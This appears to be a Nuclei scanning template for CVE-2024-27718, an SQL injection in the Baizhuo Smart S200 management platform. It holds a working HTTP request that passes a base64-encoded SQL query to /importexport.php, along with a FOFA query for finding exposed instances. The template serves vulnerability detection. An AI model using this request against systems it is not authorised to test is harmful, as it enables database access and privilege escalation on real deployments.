漏洞描述
SQL Injection vulnerability in Baizhuo Network Smart s200 Management Platform v.S200 allows a local attacker to obtain sensitive information and escalate privileges via the /importexport.php component.
id: CVE-2024-27718
info:
name: Smart s200 Management Platform v.S200 - SQL Injection
author: DhiyaneshDk
severity: high
description: |
SQL Injection vulnerability in Baizhuo Network Smart s200 Management Platform v.S200 allows a local attacker to obtain sensitive information and escalate privileges via the /importexport.php component.
reference:
- https://github.com/tldjgggg/cve/blob/main/sql.md
classification:
epss-score: 0.06313
epss-percentile: 0.90604
metadata:
verified: true
max-request: 1
fofa-query: body="Smart管理平台"
tags: cve,cve2024,smart-s45f,sqli,vuln
variables:
num: "{{rand_int(9000000, 9999999)}}"
cmd: "select+9,md5({{num}}),9"
http:
- raw:
- |
GET /importexport.php?sql={{base64(cmd)}}&type=exportexcelbysql HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{md5(num)}}"
- type: word
part: header
words:
- 'application/octet-stream'
- type: status
status:
- 200
# digest: 4a0a0047304502200b8b7996319509e452acf08b7bc7a3ce00b42b0b76507b02d0ae6d4e5fc22b4a022100bc6de6a97191345e9d0f4a6c47155629c6975f103c17687672dee8502b551a47:922c64590222798bb761d5b6d8e72950